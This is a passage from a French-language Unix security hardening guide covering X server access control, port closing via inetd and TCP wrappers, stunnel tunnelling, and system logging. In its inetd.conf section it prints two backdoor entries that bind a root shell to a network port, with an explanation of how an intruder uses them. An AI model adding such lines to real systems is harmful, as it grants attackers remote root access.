En conclusion, même si vous prenez toutes les précautions nécessaires pour déporter l'affichage d'une application, vous serez obligé de faire des choix stratégiques quand aux applications à utiliser et ce, en fonction de votre environnement. En sécurisant les manipulations jusqu'à utiliser OpenSSH (ou d'autre méthode de tunneling), vous ne vous débarrasserez pas du plus gros problème : les attaques depuis l'intérieur de votre réseau ou de vos machines.

Paramètre pour la commande xauth :

-f fichierauth

spécifie le nom du fichier authority a utiliser.

Par défaut, xauth utilisera le fichier définit dans la variable d'environnement XAUTHORITY ou .Xauthority dans le répertoire personnel de l'utilisateur.

-q

empêche l'affichage des messages de statut de xauth.

Ceci est l'option par défaut lorsque xauth est utilise en mode ligne de commande ou si la sortie standard n'est pas dirige sur un terminal.

-v

Mode verbeux. Ceci est le mode par défaut lorsque xauth lit ses commandes de l'entrée standard et que la sortie standard est dirigée vers un terminal.

-i

Ignore tous les locks des fichiers authority. Xauth empêche l'édition ou la lecture des fichier qui ont été lockés par d'autres programmes.

-b

Enlève tous les locks des fichiers authority avant son exécution

Dans les applications

- OpenWindows sans xdm

Le mécanisme de base est le même que avec 'xauth', mais la clé est stockée ailleurs :

~/.xnews.display

La création de la clé initiale ce fait avec :

/usr/openwin/lib/mkcookie

Cette méthode de démarrage d'un serveur X est déconseillée, par le partage en mode écriture d'un même périphérique (ici l'écran) par 2 drivers différents (en mode caractère, et en mode bitmap) s'ignorant totalement, ne peux pas marcher longtemps.

- Xterm

L'application "xterm" permet de verrouiller temporairement l'accès au serveur X (XGrabServer(3X)). Cette fonction s'appelle "Secure keyboard" dans le menu obtenu en utilisant la touche contrôle, et le bouton de gauche.

À partir de ce moment aucune application cliente ne pourra se connecter au serveur. Et des applications déjà connectées, seule l'application "xterm" ayant fait le "XGrabServer(3X)" pourra continuer à communiquer avec le serveur.

Une méthode plus sympathique consiste à définir une touche de fonction qui bascule ce mode, en ajoutant dans son fichier /.Xresources les lignes suivantes :

*VT100.Translations: #override\n\

<Key> F6: secure() \n\

/* attention à ne pas supprimer la ligne ci-dessus */

Dans ce cas, avant toute utilisation de commande nécessitant l'utilisation d'un mot de passe, comme rlogin, telnet, ... on tapera "F6", et dès que l'authentification sera terminée, on tapera a nouveau "F6". Attention, seul l'accès au serveur X sera inhibé de cette façon, bien évidemment le mot de passe ainsi protégé, circulera comme d'habitude en clair sur le réseau.

Cette méthode de verrouillage de l'accès à un serveur X ne présente plus autant d'intérêt si le contrôle d'accès par utilisateur est correctement utilisé, et que l'accès à "root" sur les systèmes d'où peuvent avoir à se connecter des clients n'est pas compromis.

Option pour sécuriser le clavier :

Beaucoup de mots de passes sont tapés dans des fenêtres xterm. il est par conséquent crucial que l'utilisateur ait le contrôle total sur les processus pouvant lire et écrire sur cet xterm. La permission pour un serveur X d'envoyer des évènements a une fenêtre Xterm est définie au moment de la compilation.

Par défaut, la valeur est 'false' ainsi toutes les requêtes SendEvent provenant d'un serveur X pour une fenêtre xterm ne seront pas traitées. Vous pouvez cependant passer outre ce paramètre grâce au fichier .Xdefaults

xterm*allowSendEvents True

Ou bien en sélectionnant les options concernées du menu principal (Appuyer simultanément sur CTRL et le bouton gauche de la souris, cependant ce n'est pas recommande).

Xterm permet d'empêcher les autres clients X de lire le clavier grâce à la fonction XGrabKeyboard(). En effet, suite a cette fonction seulement 1 seul processus peut lire le clavier a la fois. Pour activer cette fonction automatiquement, sélectionnez 'Secure Keyboard' dans le menu principal de XTerm (appuyez simultanément sur CTRL et le bouton gauche de votre souris).

La couleur de fond de xterm doit alors être inversée.

Il est a noter que certaines version de Xterm contienne un trou de sécurité

qui permet aux utilisateurs de devenir root en exploitant les liens symboliques vers le fichier passwd.

- Xlock

L'application "xlock" permet de verrouiller de la même façon l'accès au serveur X, et de masquer toutes les fenêtres en affichant au premier plan un économiseur d'écran. Le serveur X ne sera débloqué que lorsque le mot de passe correct de l'utilisateur aura été tapé.

On peut définir dans son fichier de configuration de gestionnaire de fenêtres un raccourcis clavier permettant de verrouiller facilement son serveur X. Par exemple avec "twm" on peut ajouter la ligne suivante dans son fichier /.twmrc :

"F6" = m : all : !"xlock &"

ce qui fait que la combinaison "méta" et touche de fonction "F6" dans tout contexte (c'est a dire n'importe où à l'écran) lancera "xlock".

Quels ports sont ouverts

Sur ma machine ?

netstat sait répondre. Il n'y a pas deux systèmes où cette commande prend les mêmes options.

Sous Unix, netstat -Af inet a des chances de marcher sur les systèmes BSD-like.
Et sous Linux, netstat -a --inet

Sous Windows, netstat -a

Sur la machine du voisin ?

Attention, ce genre d'information s'obtient par un scan et c'est interprété par moult sysadmins comme un acte agressif, voire un début d'attaque.
Il existe des tas de port scanners, mais les meilleurs sont indéniablement nessus et nmap.

Nota :

Il existe des programme "port watcher" qui ont pour fonction

de fermer vos ports, d'écouter ce qui passe dessus. Cela permet de savoir à tout moment si quelqu'un essaye de rentrer sur votre machine, , de scanner vos ports, de vous flooder, d'ouvrir une session ftp, ... De plus ils vous fournissent l'adresse ip de la station malintentionné.

Nukenabber est l'un des plus performant de ceux ci et est donc indispensable pour votre sécurité.

Fermeture des ports

Le processus inetd, démon lancé au démarrage du système, est le père de nombreux processus serveurs de la famille tcp/ip. Il utilise deux fichiers de configuration "/etc/inetd.conf" et "/etc/services". En plus des services configurés, inetd inclut aussi des services internes.

Fonctionnement standard : Lors d'une demande de connexion TCP, inetd extrait le numéro de port destination du message, il recherche le nom de service dans "/etc/services". En cas de succès, il crée un processus (fork) et lance l'exécution du binaire (exec) dont le chemin est spécifié dans "/etc/inetd.conf". Les messages qui suivent seront dirigés vers ce processus.

Modification des fichiers de configuration : Quand un administrateur de machine modifie ses fichiers de configuration, l'envoi du signal HUP Hang Up vers inetd provoque la relecture de ceux-ci. Ceci n'affectera pas les connexions en cours.

- /etc/inetd.conf

Il est essentiel le fichier "inetd.conf" ne soit pas accessibles en écriture aux utilisateurs.

Il ne faut laisser dans le fichier inetd.conf que les services nécessaires au fonctionnement normal. Les autres services peuvent être invalidés en mettant la ligne en commentaire ( # ) ou bien en la supprimant.

Le principe est de n’activer que ce qui vous est réellement nécessaire (avez-vous besoin du serveur Web, du serveur FTP, du serveur telnet ?). Il est à noter que le fait de désactiver ftp, telnet ou autre ne signifie pas que vous ne pourrez plus les utiliser en tant que client.

3003 stream tcp noway root /bin/sh sh

La ligne ci-dessus à pour effet d'affecter un shell avec les privilèges root aux personnes se connectant sur le port 3003 du système. Pour cela, il suffit d'initier une session telnet sur le port 3003.

celle qui suit permet à un pirate d'obtenir un shell avec un UID 0 quand il le souhaite.

daytime stream tcp noway root /bin/ksh ksh –i

Après toute modification de ce fichier, il faut forcer le processus inetd courant à relire sa configuration à l’aide de la commande :

killall -HUP inetd

il est fortement recommandé de remplacer des programmes peu fiables comme « telnet ou ftp » par leur équivalent utilisant un protocole sécurisé comme openssh.

Pour améliorer son fonctionnement vous pouvez utiliser le programme tcp_wrappers.

Les TCP wrappers sont installés par défaut sur toutes les distributions Linux. Ils permettent d'interdire certaines adresses IP pour certains services, et également de signaler toutes les connexions effectuées à certains ports ; leurs fichiers de configuration sont hosts.allow et hosts.deny. Tous les programmes lancés par inetd bénéficient des TCP wrappers, et de nombreux autres (Samba, SSH, etc.) peuvent soit être configurés pour lire également ces fichiers, soient disposent de possibilités de filtrage et de rapport similaires (tels que sendmail ou bien le démon NFS).

- /etc/services

Sous linux, utiliser la commande chkconfig pour désactiver certains services.

Supprimer les programmes dangereux ou connus pour être vulnérables.

Les remotes commandes telles que rsh, rlogin, rcp seront avantageusement remplacées par SSH.

- Comment fermer un port ?

En ne l'ouvrant pas... C'est-à-dire en ne lançant pas le programme qui écoute dessus. Éventuellement en le bloquant via un filtre de paquets.

Mais qui écoute donc sur ce port ?

Si le port est standard ou connu, un coup d'œil sur les listes plus haut peu aider à identifier le coupable. Sinon :

sous Unix on peut jeter un oeil sur le contenu du fichier /etc/inetd.conf comme vu ci-dessus.

Ou utiliser fuser sur les Unix bien foutus comme Linux :

# fuser 25/tcp

25/tcp: 572

# ps ax | grep 572

572 ? S 0:00 sendmail: accepting connections on port 25

5196 pts/2 S 0:00 grep 572

Étonnant, non ?

Ou bien utiliser lsof

# lsof | grep smtp

sendmail 572 root 4u IPv4 760 TCP *:smtp (LISTEN)

Ou bien encore, sous Linux : netstat –p

- Protéger ses canaux de communication.

Beaucoup de service communiquent en clair sur le réseau (pop, ftp, telnet, etc.). afin de protéger ce genre de communication, il faut détourner les canaux de communication classiques et les rediriger dans un tunnel.

Ce genre de manipulation est exactement ce que permet de faire un petit utilitaire :démon connu sous le nom de stunnel. celui-ci utilise SSL afin de protéger les informations circulant dans le tunnel. Point important , si vous travaillez avec un environnement hétérogène, stunnel est disponible aussi bien pour les plates-formes Unix et win32.

Théorie :

Le principe de fonctionnement d’un tunnel est relativement simple. Les données ne circulent plus en clair à l’extérieur de la machine, comme c’est le cas habituellement (en rouge sur le schéma). Plutôt que d’établir une connexion depuis le client vers le serveur, le système se connectera au même port , mais cette fois en local (en bleu). Stunnel protégera alors les données et les renverra sur un port différent pour les faire transiter à l’extérieur de la machine (en vert). Les données protégé »s seront reçues sur le serveur où stunnel les transformera en données claires pour ensuite les rediriger vers le bon port. Enfin, l ‘application serveur pourra les interpréter.

Comme vous pouvez le voir, aucune information n’est « écoutable » sur le réseau. Ce type de manipulation sécurisera d’une manière sûre des communications comme celles entre un client et un serveur POP3 (réputée très fragile). L’utilisateur mal intentionné ne percevra que du bruit en écoutant la communication. Pire, s’il écoute spécifiquement le port utilisé habituellement (110 dans le cas de POP3), il n’entendra rien du tout.

Utilisation :

Après avoir récupéré la dernière version en date de stunnel, vous devrez vous assurer d’avoir une bibliothèque SSL (comme OpenSSL par exemple) afin de pouvoir compiler tout cela tranquillement3 ensuite, le triplet classique fera l’affaire :

./configure

make

make install

Au terme de la commande make, quelques informations complémentaires vous seront demandées afin de générer votre fichier certificat. Notez également que, parmi les sources de stunnel, vous pourrez trouver un binaire au format Win32.

Afin de pouvoir vous en servir, vous devrez néanmoins récupérer une bibliothèque SSL au format DLL (libssl32.dll et/ou libeay32.dll). votre certificat se trouvera quand à lui dans le répertoire courant sous le nom stunnel.pem.

Nous pouvons maintenant tenter notre première expérience.

Sur la machine serveur où, par exemple, un serveur POP3 attend paisiblement des requêtes lancez le démon stunnel comme suit :

stunnel –D 6 –f –p /chemin/stunnel.pem –d 14000 –r localhost:110

Par cette commande, nous demandons à stunnel d’écouter le port 14000 (-d), de décoder les informations qui en parviennent pour envoyer les information en clair sur le port 110 de l’hôte local (-r). les options –D 6 et –f nous permettent ici de demander respectivement un niveau de débogage 6 et un fonctionnement de démon en avant-plan (foreground). L’option –p permet de spécifier le nom et l’emplacement du fichier certificat. Toutes les données arrivant sur le port 14000 sont donc censées être des communications SSL. Notre serveur POP3 quant à lui aura l’impression que les requêtes proviennent de l’hôte local (127.0.0.1 :110).

Sur la machine cliente, il ne nous reste plus qu’a opérer la manipulation inverse :

stunnel –D 6 –f –d 110 –r serveur :14000

ici, toutes les communications sur le port 110 seront protégées et envoyés sur le port 14000 du serveur. Notez que les options de débogage et de fonctionnement en avant-plan ne sont là que pour des raisons de démonstration. Dans le cadre d’une utilisation courante, vous pouvez vous en passer.

Dernière étape, demandez à votre client mail d’utiliser non plus le serveur distant, mais l’hôte local comme serveur POP3. attention, c ‘est une erreur courante de pense que stunnel intercepte les sortie sur le port 110. ce n’est bien sûr pas le cas et il faut bien comprendre que le démon stunnel fonctionne sur le port 110 du client ; pour le MUA, le serveur POP3 est donc bel et bien 127.0.0.1.

Un peu plus loin :

Avant de poursuivre, précisons qu’il est possible de « tunneler » n’importe quel port, les plus courants étant http, smtp, nntp, imap, pop3, telnet et ftp. Ce fait est tellement courant qu’une convention a été mise en place pour chiffrer et nommer ces ports :

service port service port

http 80 https 443

smtp 25 smtps 465

nntp 119 nntps 563

telnet 23 telnets 23

imap 143 imaps 993

pop3 110 pop3s 995

ftp 21 ftps 990

Voici pour ce qui est de l’utilisation courante du tunneling.

Ajoutez donc ces différentes valeur (de droite) à votre /etc/services. Cela vous facilitera grandement les manipulations de ports. Notez cependant que vous n’êtes absolument pas tenu d’utiliser ces noms et valeurs de port. Il ne s’agit que d’une convention.

En poussant le vice un peu plus loin avec stunnel, il est possible de créer un VPN, c’est à dire un réseau dont les données seront protégées par SSL « par-dessus » un réseau existant. c’est vicieux, mais cela fonctionne parfaitement. En effet, rien ne vous empêche d’utiliser PPP dans un tunnel pour établir une connexion permanente entre deux hôtes.

Configurer serveur et client comme pour une connexion PPP classique par modem. N’oubliez pas de préciser l’option noauth afin d’éviter d’avoir un message du type «peer is not authorized to use remote address xxx.xxx.xxx.xxx»

sur le serveur .

Vous voici fin prêt à créer votre VPN.

Sur la machine serveur, lancez ceci :

stunnel –f –D 6 –f –d 5555 –L /usr/sbin/pppd -- pppd local

Tout ce qui arrive sur le port 5555 est traité par les routines SSL et envoyé à pppd. Sur la partie cliente :

stunnel –f –D 6 –c –r serveur :5555 –L /usr/sbin/pppd -- pppd local

Pas de mystère, nous connaissons déjà ces commandes. Nous nous retrouvons, sur le client, avec une nouvelle interface réseau qui est le point d’entrée du tunnel SSL :

Ppp0 Link encap :Point-to-Point Protocol

Inet addr :192.168.10.2 P-t-P :192.168.10.1

Mask :255.255.255.255

UP POINTTOPOINT RUNNING NOARP

MULTICAST MTU :1500 Metric :1

RX packets :11 errors :0

dropped :0 overruns :0 frame :0

TX packets :13 errors :0 dropped :0

Overruns :0 carrier :0

Collisions :0 txqueuelen :3

En jetant un coup d’œil au log système, on se rend vite compte que la connexion ne provient pas d’une ligne série classique (/dev/ttyp9) :

pppd[14569] : Using interface ppp0

pppd[14569] : Connect : ppp0 < -- > /dev/ttyp9

pppd[14569] : Deflate (15) compression enable

pppd[14569] : local IP adress 192.168.10.2

pppd[14569] : remote IP adress 192.168.10.1

Idem côté serveur où nous utilisons les PTY unix98 :

pppd[9421] : Using interface ppp0

pppd[9421] : Connect : ppp0 < -- > /dev/pts/1

pppd[9421] : Deflate (15) compression enable

pppd[9421] : local IP adress 192.168.10.1

pppd[9421] : remote IP adress 192.168.10.1

Le VPN fonctionne parfaitement, nous pouvons même devenir parano au point de créer un autre tunnel à l’intérieur du réseau 192.168.10.0 pour relever nos compte POP3, au cas où des oreilles traîneraient à l’intérieur du VPN.

Finissons en signalant que stunnel n’est pas la seule implémentation de tunneling utilisant SSL. Un projet du nom de SSLwrap propose plus ou moins les mêmes fonctionnalités.

- Terminaux sécurisés a voir

- /etc/ttyab ou /etc/ttys

Pour autoriser un super utilisateur à se connecter à partir d'un terminal, il faut ajouter dans ce fichier le mot clé "secure" à la fin de la ligne d'identification du terminal.

Si "secure" n'est pas mis à la fin de ligne d'identification du terminal, un utilisateur étant super utilisateur peut se connecter sur un compte ordinaire et ensuite devenir super utilisateur avec la commande "su".

Surveillance du système

Pour connaître la liste de tous les fichiers modifiés dans les 24 heures taper la commande :

find / -mtime -1 \! -type d -print > ~/liste_du_jour

=> - mtime -1 => Depuis 24 heures.

\ => Permet d'échapper à l'interprétation du shell. .

! => Opérateur de négation.

-type d => Type répertoire.

- Surveillance des comptes et des connexions

Etre attentif aux changements des fichiers présents dans /etc.

Des utilitaires comme tripwire, oasis peuvent être utiles.

Tous d'abord, il est possible de vérifier en temps réel quels sont les utilisateurs connectés à votre machine et quelles actions il effectuent, grâce aux commandes "w" et "who".

Par défaut, unix utilise le répertoire /var/log pour journaliser les événements du système. Les différents fichiers utilisés sont configurés dans /etc/syslog.conf. les versions récentes utilisent quatre fichiers séparés : messages, secure, maillog, et spooler.

- syslog

Avec syslog, on peut forcer n'importe quelle commandes à envoyer des informations, ainsi que les messages d'erreurs, vers un fichier traces tel que

/usr/adm/messages.

/var/log/messages :
récupère tout (copie des messages écrits sur la console, des messages système écrits dans le tampon du journal interne du du noyau, de tous les messages produits par les programmes qui utilisent l’appel système syslog() tels que named , sendmail et login).

/var/log/secure :
Contient le rapport de tous les logins (root, utilisateur, tentatives sues d’autres utilisateurs, tentatives de connexion d’autres systèmes et les échecs de login root au niveau du démon système).

/var/log/mailog :
Contient un enregistrement du trafic du courrier entrant et sortant et du statut du serveur.

/var/log/spooler :
Contient les messages d’erreur des démons uccp et serveur de news (innd).

Configuration de syslog

Étant donné que les messages logs ne sont pas tous d’égale importance, unix nous laisse la possibilité d’adapter le résultat du journal en fonction des besoins, on peut rediriger ou dupliquer les messages du système vers d’autres fichiers journaux afin d’établir des catégories selon leur importance ou sujet.

Le fichier /etc/syslog.conf nous permet de le faire. Une entrée dans ce fichier spécifie une facilité (catégorie liée au sous système qui la produit ), sa priorité et l’endroit où écrire les messages.

Les journaux peuvent écrits dans des périphériques tels que la console, dans des fichiers ordinaires et même dans des machines distantes.

Les fichiers log distants

La possibilité de journaliser dans une machine distante peut s’avérer une option judicieuse de sécurité. Elle présente au moins deux avantages :

Les fichiers logs sont regroupés sur une seule machine facilitant la surveillance des entrées au journal.

L’information est protégée si l’un des serveurs est compromis.

-utmp

Le fichier utmp enregistre qui est connecté sur le moment au système.

Il se trouve généralement dans l'un de ces répertoires :

/etc - /var/run

Ce placer dans le répertoire et taper : who utmp

- lastlog

Ce fichier est une trace de la date de la dernière session établie par chaque utilisateur.

Il se trouve généralement dans l'un de ces répertoires :

/usr/adm - /var/log - /etc/security

Ce placer dans le répertoire et taper : view lastlog

Chaque ligne possède soit un + si l'utilisateur c'est loger ou un - si le login a échoué..

- wtmp

Ce fichier enregistre les débuts et les fins de sessions de tous les utilisateurs.

Il se trouve généralement dans l'un de ces répertoires :

/usr/adm - /var/log - /var/adm

Ce placer dans le répertoire et taper : who wtmp

Pour isoler ce qui vous intéresse taper :

last wtmp username

last wtmp terminal

- sulog

Les su sont enregistres par syslogd BSD ou dans le fichier /usr/adm/sulog.

Ce placer dans le répertoire et taper : view sulog

- btmp

il se trouve généralement dans le répertoire /usr/adm

Ce placer dans le répertoire et taper : last b

- acct (Accounting)

Le système d'accounting (historique des programmes invoqués) est implémenté dans Linux. Il faut normalement compiler le paquetage : acct-1.3.73.tar.gz et suivre les instructions qui sont livrées avec.

Le fichier acct enregistre toutes les commandes exécutées et le user qui les à exécutées.

Il se trouve généralement dans le répertoire /var/adm

Ce placer dans le répertoire et taper :

lastcomm acct username

Exemple :

# lastcomm | more

Command Flags User Tty PagFlt Time Endtime

clear - merlin ttyp2 85 0.00 secs Tue Aug 6 13:26:07

in.identd - root __ 100 0.00 secs Tue Aug 6 13:23:23

color-ls - merlin ttyp2 121 0.01 secs Tue Aug 6 13:23:02

telnet - merlin ttyp2 142 2.77 secs Tue Aug 6 13:23:01

Pnews F merlin ttyp3 33 0.01 secs Tue Aug 6 13:22:15

sed - merlin ttyp3 132 0.02 secs Tue Aug 6 13:22:15

Pnews F merlin ttyp3 34 0.01 secs Tue Aug 6 13:22:15

sed - merlin ttyp3 145 0.02 secs Tue Aug 6 13:22:15

cat - merlin ttyp3 80 0.01 secs Tue Aug 6 13:22:13

Pnews F merlin ttyp3 29 0.00 secs Tue Aug 6 13:22:13

Il faut faire attention car ce système a tendance à prendre beaucoup de place. La solution pour résoudre ce problème est de lancer le système d'accounting de cette manière :

#!/bin/sh

# Lancement de l'accounting

accton /var/log/acct

accttrim -n 2000 /var/log/acct 2> /dev/null

- loginlog à voir

Il se trouve généralement dans le répertoire usr/adm/acct/sum.

Chaque ligne possède soit un + si l'utilisateur c'est loger ou un - si le login a échoué..

- shownmount

Elle permet de voir toutes les machines qui ont montées quelque chose à partir d'un serveur NFS.

Sans option elle donne simplement la liste des machines.

Avec l'option -a, elle vous donne la liste des machines & des répertoires montés.

Avec l'option -d, elle affiche les répertoires montés par une machine donnée.

En clair si vous passez par un serveur NFS évitez de toucher aux fichiers. Y'a une trace de vos pas.

Sauvegardes

Sauvegarder tous les fichiers modifiés au cours de la semaine passé

$find / -mtime -7 type f -print > ~/liste_hebdo

mtime -7 => Dans la semaine qui précède.

$tar -cv -T ~/liste_hebdo -f/dev/st0

T => Permet de spécifier le nom d'un fichier contenant la liste de ce que

nous voulons archiver

Liens

http://www.ossirr.org Observatoire de la sécurité des systèmes d'information et des réseaux ()

http://www.cru.fr Comité réseau des universités ()

http://www.certa.ssi.gouv.fr Centre d'Expertise gouvernemental de Réponse et de Traitement des Attaques informatiques

http://www.cnrs.fr/Infosecu/accueil.html CNRS ()

http://www.guill.net La page des réseaux ()

www.linuxsecurity.com

www.linuxdoc.org/HOWTO/Security-HOWTO.html

www.bastille-linux.org/jay/security-article-jjb.html

www.hsc.fr/ressources/brevets

www.linuxfocus.fr (magazine en ligne)

ftp://ftp.porcupine.org/pub/security => pour télécharger TCPWrapper